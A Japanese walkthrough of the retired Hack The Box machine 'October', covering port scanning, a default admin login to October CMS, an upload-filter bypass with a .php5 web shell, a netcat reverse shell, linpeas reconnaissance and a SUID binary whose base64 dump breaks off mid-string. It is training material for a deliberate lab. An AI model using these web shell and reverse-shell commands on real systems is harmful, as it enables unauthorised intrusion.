【HackTheBox】October - Walkthrough -

本稿では、[Hack The Box](https://www.hackthebox.eu/)にて提供されている Retired Machines の「October」に関する攻略方法（Walkthrough）について検証します。

Hack The Boxに関する詳細は、「[Hack The Boxを楽しむためのKali Linuxチューニング](https://qiita.com/v_avenger/items/c85d946ed2b6bf340a84)」を併せてご確認ください。

# マシンの詳細
![October.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/1e92ce86-f476-52ae-92bb-72bd89e197d7.png)

# エグゼクティブサマリー
## ツール
- nmap
- OWASP DirBuster
- searchsploit
- EDB-ID: 41936
- PHP WebShell
- SimpleHTTPServer
- Linpeas
- radare2
- gdb-peda
- pattern_create / pattern_offset
- ldd
- readelf

# 詳細手順
## ネットワークサービススキャン
### nmap
IPアドレス`10.129.122.241`を`october.htb`として、`/etc/hosts`に追加します。その上で、nmapを使用し、ポートスキャンを実行します。

```
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -T4 -A -v october.htb               
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-01 09:00 EDT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:00
Completed NSE at 09:00, 0.00s elapsed
Initiating NSE at 09:00
Completed NSE at 09:00, 0.00s elapsed
Initiating NSE at 09:00
Completed NSE at 09:00, 0.00s elapsed
Initiating Connect Scan at 09:00
Scanning october.htb (10.129.122.241) [1000 ports]
Discovered open port 80/tcp on 10.129.122.241
Discovered open port 22/tcp on 10.129.122.241
Completed Connect Scan at 09:01, 15.61s elapsed (1000 total ports)
Initiating Service scan at 09:01
Scanning 2 services on october.htb (10.129.122.241)
Completed Service scan at 09:01, 7.26s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.122.241.
Initiating NSE at 09:01
Completed NSE at 09:01, 8.18s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 1.30s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Nmap scan report for october.htb (10.129.122.241)
Host is up (0.25s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1D585CCF71E2EB73F03BCF484CFC2259
| http-methods: 
|   Supported Methods: GET HEAD POST PUT PATCH DELETE OPTIONS
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Initiating NSE at 09:01
Completed NSE at 09:01, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.16 seconds
```

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

|ポート番号|サービス|バージョン|
|:---|:---|:---|
|22/tcp|ssh|OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)|
|80/tcp|http|Apache httpd 2.4.7 ((Ubuntu))|

`http-title`より、[October CMS - Vanilla](https://octobercms.com/theme/rainlab-vanilla)が稼働していることが特定できました。

# HTTPサービスのスキャン
`Firefox`ブラウザを使って`80/tcp`にアクセスしてみます。
![october_cms.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/2ceaa60d-c617-88d0-121c-8c82c2690f83.png)

## 隠しディレクトリの探索
`OWASP DirBuster`を使用し、`October CMS`の隠しディレクトリを探索します。
![dirbuster.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/ae49c431-c288-0cf5-94f3-cd9e40f51730.png)

`backend`ディレクトリにアクセスします。
![backend.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/ff8b0103-d192-7142-98f6-5065c3f4a4c2.png)

`http://october.htb/backend/backend/auth/signin`ページにたどり着きました。初期設定のアカウント`admin:admin`の組み合わせを試します。
![signin.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/98c976b8-3957-fccc-1803-09e8756f6393.png)

ログインに成功しました。
![cms.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/8eaf07d1-fe43-4fa0-a640-34e2b7a41913.png)

# アクセス権の取得
`October CMS`が抱えている脆弱性について、`searchsploit`コマンドを使って検索します。7件の候補が見つかりました。

```
┌──(kali㉿kali)-[~]
└─$ searchsploit October                                                                  127 ⨯
-------------------------------------------------------------- ---------------------------------
 Exploit Title                                                |  Path
-------------------------------------------------------------- ---------------------------------
October CMS - Upload Protection Bypass Code Execution (Metasp | php/remote/47376.rb
October CMS 1.0.412 - Multiple Vulnerabilities                | php/webapps/41936.txt
October CMS < 1.0.431 - Cross-Site Scripting                  | php/webapps/44144.txt
October CMS Build 465 - Arbitrary File Read Exploit (Authenti | php/webapps/49045.sh
October CMS User Plugin 1.4.5 - Persistent Cross-Site Scripti | php/webapps/44546.txt
OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting         | php/webapps/42978.txt
OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery   | php/webapps/43106.txt
-------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

## PHP upload protection bypass
[EDB-ID: 41936, October CMS 1.0.412 - Multiple Vulnerabilities](https://www.exploit-db.com/exploits/41936)の内容に注目します。
![EDB-ID_41936.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7e911472-d98c-ac73-0b31-ba3ccf72b6d0.png)

[EDB-ID: 41936](https://www.exploit-db.com/exploits/41936)には、7件の脆弱性がリストされています。このうち、「PHP upload protection bypass」を突いた攻撃を検討します。
October CMSでは、ファイルの拡張子をブラックリスト（`octobercms/vendor/october/rain/src/Filesystem/
Definitions.php:blockedExtensions()`）と照合してアップロードの可否を制御していると記載されています。
シェルのペイロードをアップロードするには、このブラックリストに掲載されておらず、プログラムとして実行できる拡張子をつける必要があります。
このドキュメントでは、その例として、`php5`が有効であると示されています。

```Definitions.php
106 <?php
107 protected function blockedExtensions()
108 {
109         return [
110                 // redacted
111                 'php',
112                 'php3',
113                 'php4',
114                 'phtml',
115                 // redacted
116         ];
117 }
```

## PHP WebShell
PHP製のWebSehllを用意します。ここで、ファイルアップロードフィルターを迂回（バイパス）するために、拡張子を`php5`にする必要があります。

```cmd.php5
<?php system($_REQUEST['cmd']); ?>
```

`OctoberCMS`にて[Media]タブに移動し、[Upload]ボタンがクリックします。作成した`cmd.php5`をアップロードします。
![cmdphp5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/12cbc485-dc5c-fa89-4f51-98b8af359e12.png)

ターミナルより設置した`PHP WebShell`の動作確認を行います。

```
┌──(kali㉿kali)-[~/october]
└─$ curl http://october.htb/storage/app/media/cmd.php5?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## リバースシェルの確立
リバースシェルを確立します。はじめに、攻撃端末(`kali`)側で`nc`コマンドを使って待ち受けます。

```kali.
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 4444
```

`october.htb`側にて、リバースシェルを立ち上げます。

```
┌──(kali㉿kali)-[~/october]
└─$ curl http://october.htb/storage/app/media/cmd.php5 --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 4444 >/tmp/f"
```

![r_shell.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/84ee2301-4997-c706-d2bb-ce1ca1ea229c.png)

## シェルのアップグレード
操作性を高めるため、シェルをアップグレードします。

1. Pythonの`pty`モジュールを使って、bashシェルを生成する `python -c 'import pty;pty.spawn("bash")'`
2. `Ctrl-Z`を押してシェルをバックグラウンドに転送する
3. sttyコマンドを使って、echoを無効 `stty raw -echo`
4. バッググラウンドで動作していた`netcat`をフォアグラウンドで再開するするように指定する

```
$ python -c 'import pty;pty.spawn("bash")'
www-data@october:/var/www/html/cms/storage/app/media$ ^Z
zsh: suspended  nc -nlvp 4444
                                                                                                 
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg                                                                 148 ⨯ 1 ⚙
[1]  + continued  nc -nlvp 4444
                               export SHELL=bash
<tml/cms/storage/app/media$ export TERM=xterm-256color
```

## システム探索
### userフラグの取得
`/home/harry`ディレクトリへ移動します。`user.txt`ファイルが確認できます。

```
www-data@october:/var/www/html/cms/storage/app/media$ cd /home
www-data@october:/home$ ls
harry
www-data@october:/home$ cd harry
www-data@october:/home/harry$ ls
october-1.0.412.tar.gz  user.txt
```

`flag.txt`フラグを取得します。

```
www-data@october:/home/harry$ cat user.txt 
2916{BLOCKED}89c0
```

# 特権エスカレーション
「[Linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)」ツールを使ってシステム探索を行います。
攻撃端末(`kali`)側で`SimpleHTTPServer`を立ち上げ、ツールをダウンロードできるようにします。

```kali.
┌──(kali㉿kali)-[~/OffsecVM/bin/lin]
└─$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
10.129.46.120 - - [04/Apr/2021 21:30:34] "GET /linpeas.sh HTTP/1.1" 200 -
```

`october.htb`側で`linpeas.sh`ツールをダウンロードします。

```october.htb
www-data@october:/tmp$ wget http://10.10.14.101:8080/linpeas.sh
--2021-04-05 04:30:33--  http://10.10.14.101:8080/linpeas.sh
Connecting to 10.10.14.101:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 233665 (228K) [text/x-sh]
Saving to: 'linpeas.sh'

100%[======================================>] 233,665     92.8KB/s   in 2.5s   

2021-04-05 04:30:36 (92.8 KB/s) - 'linpeas.sh' saved [233665/233665]
```

`linpeas.sh`に実行権限を与え、実行します。

```
www-data@october:/tmp$ chmod +x linpeas.sh 
www-data@october:/tmp$ ./linpeas.sh
```

`linpeas.sh`の実行レポートにおける、`Interesting Files`項目に注目します。

![linpeas.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a283b6b8-e72c-f57f-6ff1-e1440059a790.png)

## SUIDとSGIDファイルの探索
`find`コマンドを実行し、システム上の`SUID`と`SGID`ファイルの探索を行うことも有効です。

ここで、コマンド構文は`SUID (4000)`か`SGID (2000)`のどちらかの値にマッチする条件を指定するために、次のように記述することができます。
`/6000`は、`4000`か`2000`のどちらかの値を探すという意味です。

```
www-data@october:/tmp$ find / -type f -perm /6000 -ls 2>/dev/null
267491   68 -rwsr-xr-x   1 root     root        67704 Nov 24  2016 /bin/umount
262216   40 -rwsr-xr-x   1 root     root        38932 May  8  2014 /bin/ping
266648   32 -rwsr-xr-x   1 root     root        30112 May 15  2015 /bin/fusermount
262222   36 -rwsr-xr-x   1 root     root        35300 May 17  2017 /bin/su
262217   44 -rwsr-xr-x   1 root     root        43316 May  8  2014 /bin/ping6
267489   88 -rwsr-xr-x   1 root     root        88752 Nov 24  2016 /bin/mount
928759    8 -rwsr-xr-x   1 root     root         5480 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
1053687  484 -rwsr-xr-x   1 root     root       492972 Aug 11  2016 /usr/lib/openssh/ssh-keysign
931266   12 -rwsr-xr-x   1 root     root         9808 Nov 24  2015 /usr/lib/policykit-1/polkit-agent-helper-1
395450  328 -rwsr-xr--   1 root     messagebus   333952 Dec  7  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
917752   12 -rwxr-sr-x   3 root     mail         9704 Dec  4  2012 /usr/bin/mail-unlock
917774  156 -rwsr-xr-x   1 root     root       156708 Oct 14  2016 /usr/bin/sudo
928810  324 -rwxr-sr-x   1 root     ssh        329144 Aug 11  2016 /usr/bin/ssh-agent
917752   12 -rwxr-sr-x   3 root     mail         9704 Dec  4  2012 /usr/bin/mail-touchlock
930676   36 -rwxr-sr-x   1 root     mlocate     34452 Jun 20  2013 /usr/bin/mlocate
930957  400 -rwxr-sr-x   1 root     utmp       406700 Nov  7  2013 /usr/bin/screen
922948   32 -rwsr-xr-x   1 root     root        30984 May 17  2017 /usr/bin/newgrp
931257   20 -rwsr-xr-x   1 root     root        18168 Nov 24  2015 /usr/bin/pkexec
922277   48 -rwsr-xr-x   1 root     root        45420 May 17  2017 /usr/bin/passwd
922274   44 -rwsr-xr-x   1 root     root        44620 May 17  2017 /usr/bin/chfn
917752   12 -rwxr-sr-x   3 root     mail         9704 Dec  4  2012 /usr/bin/mail-lock
930329   12 -rwxr-sr-x   1 root     tty          9748 Jun  4  2013 /usr/bin/bsd-write
921702   68 -rwsr-xr-x   1 root     root        66284 May 17  2017 /usr/bin/gpasswd
930650   20 -rwsr-xr-x   1 root     root        18136 May  8  2014 /usr/bin/traceroute6.iputils
930677   72 -rwsr-xr-x   1 root     root        72860 Oct 21  2013 /usr/bin/mtr
921701   36 -rwsr-xr-x   1 root     root        35916 May 17  2017 /usr/bin/chsh
921700   20 -rwxr-sr-x   1 root     shadow      18208 May 17  2017 /usr/bin/expiry
917608   20 -rwxr-sr-x   1 root     tty         18056 Nov 24  2016 /usr/bin/wall
917640   36 -rwxr-sr-x   1 root     crontab     34824 Feb  9  2013 /usr/bin/crontab
930939   48 -rwsr-sr-x   1 daemon   daemon      46652 Oct 21  2013 /usr/bin/at
917662   16 -rwxr-sr-x   1 root     mail        13960 Dec  7  2013 /usr/bin/dotlockfile
921399   56 -rwxr-sr-x   1 root     shadow      53516 May 17  2017 /usr/bin/chage
930733  316 -rwsr-xr--   1 root     dip        323000 Apr 21  2015 /usr/sbin/pppd
928820   20 -rwsr-sr-x   1 libuuid  libuuid     17996 Nov 24  2016 /usr/sbin/uuidd
664031    8 -rwsr-xr-x   1 root     root         7377 Apr 21  2017 /usr/local/bin/ovrflw
262377   32 -rwxr-sr-x   1 root     shadow      30432 Mar 16  2016 /sbin/unix_chkpwd
```

`linpeas.sh`または`find`コマンドによって`ovrflw`というプログラムを見つけました。

```
$ ls -al /usr/local/bin/ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21  2017 /usr/local/bin/ovrflw
www-data@october:/tmp$ /usr/local/bin/ovrflw
Syntax: /usr/local/bin/ovrflw <input string>
```

# ovrflw プログラムの解析
## ファイルの転送

`ovrflw`プログラムを攻撃端末(`kali`)側に転送します。ここでは、BASE64にエンコードして転送を行います。

```
www-data@october:/usr/local/bin$ cat ovrflw | base64 -w0
```

攻撃端末(`kali`)側にてデコードします。

```kali.
┌──(kali㉿kali)-[~/october]
└─$ echo "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQhAQIMIQECAAAAAABAAAAAQAAAAwAAAD0ggQIDQAAAESFBAgZAAAACJ8ECBsAAAAEAAAAGgAAAAyfBAgcAAAABAAAAPX+/2+sgQQIBQAAADyCBAgGAAAAzIEECAoAAABYAAAACwAAABAAAAAVAAAAAAAAAAMAAAAAoAQIAgAAACgAAAAUAAAAEQAAABcAAADMggQIEQAAAMSCBAgSAAAACAAAABMAAAAIAAAA/v//b6SCBAj///9vAQAAAPD//2+UggQIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABSfBAgAAAAAAAAAADaDBAhGgwQIVoMECGaDBAh2gwQIAAAAAAAAAABHQ0M6IChVYnVudHUgNC44LjQtMnVidW50dTF+MTQuMDQuMykgNC44LjQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAuZ251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVsLmR5bgAucmVsLnBsdAAuaW5pdAAudGV4dAAuZmluaQAucm9kYXRhAC5laF9mcmFtZV9oZHIALmVoX2ZyYW1lAC5pbml0X2FycmF5AC5maW5pX2FycmF5AC5qY3IALmR5bmFtaWMALmdvdAAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAQAAAAIAAABUgQQIVAEAABMAAAAAAAAAAAAAAAEAAAAAAAAAIwAAAAcAAAACAAAAaIEECGgBAAAgAAAAAAAAAAAAAAAEAAAAAAAAADEAAAAHAAAAAgAAAIiBBAiIAQAAJAAAAAAAAAAAAAAABAAAAAAAAABEAAAA9v//bwIAAACsgQQIrAEAACAAAAAFAAAAAAAAAAQAAAAEAAAATgAAAAsAAAACAAAAzIEECMwBAABwAAAABgAAAAEAAAAEAAAAEAAAAFYAAAADAAAAAgAAADyCBAg8AgAAWAAAAAAAAAAAAAAAAQAAAAAAAABeAAAA////bwIAAACUggQIlAIAAA4AAAAFAAAAAAAAAAIAAAACAAAAawAAAP7//28CAAAApIIECKQCAAAgAAAABgAAAAEAAAAEAAAAAAAAAHoAAAAJAAAAAgAAAMSCBAjEAgAACAAAAAUAAAAAAAAABAAAAAgAAACDAAAACQAAAAIAAADMggQIzAIAACgAAAAFAAAADAAAAAQAAAAIAAAAjAAAAAEAAAAGAAAA9IIECPQCAAAjAAAAAAAAAAAAAAAEAAAAAAAAAIcAAAABAAAABgAAACCDBAggAwAAYAAAAAAAAAAAAAAAEAAAAAQAAACSAAAAAQAAAAYAAACAgwQIgAMAAMIBAAAAAAAAAAAAABAAAAAAAAAAmAAAAAEAAAAGAAAARIUECEQFAAAUAAAAAAAAAAAAAAAEAAAAAAAAAJ4AAAABAAAAAgAAAFiFBAhYBQAAIwAAAAAAAAAAAAAABAAAAAAAAACmAAAAAQAAAAIAAAB8hQQIfAUAACwAAAAAAAAAAAAAAAQAAAAAAAAAtAAAAAEAAAACAAAAqIUECKgFAACwAAAAAAAAAAAAAAAEAAAAAAAAAL4AAAAOAAAAAwAAAAifBAgIDwAABAAAAAAAAAAAAAAABAAAAAAAAADKAAAADwAAAAMAAAAMnwQIDA8AAAQAAAAAAAAAAAAAAAQAAAAAAAAA1gAAAAEAAAADAAAAEJ8ECBAPAAAEAAAAAAAAAAAAAAAEAAAAAAAAANsAAAAGAAAAAwAAABSfBAgUDwAA6AAAAAYAAAAAAAAABAAAAAgAAADkAAAAAQAAAAMAAAD8nwQI/A8AAAQAAAAAAAAAAAAAAAQAAAAEAAAA6QAAAAEAAAADAAAAAKAECAAQAAAgAAAAAAAAAAAAAAAEAAAABAAAAPIAAAABAAAAAwAAACCgBAggEAAACAAAAAAAAAAAAAAABAAAAAAAAAD4AAAACAAAAAMAAAAooAQIKBAAAAQAAAAAAAAAAAAAAAEAAAAAAAAA/QAAAAEAAAAwAAAAAAAAACgQAAArAAAAAAAAAAAAAAABAAAAAQAAABEAAAADAAAAAAAAAAAAAABTEAAABgEAAAAAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAADBYAAFAEAAAdAAAALQAAAAQAAAAQAAAACQAAAAMAAAAAAAAAAAAAAFwaAAB1AgAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAVIEECAAAAAADAAEAAAAAAGiBBAgAAAAAAwACAAAAAACIgQQIAAAAAAMAAwAAAAAArIEECAAAAAADAAQAAAAAAMy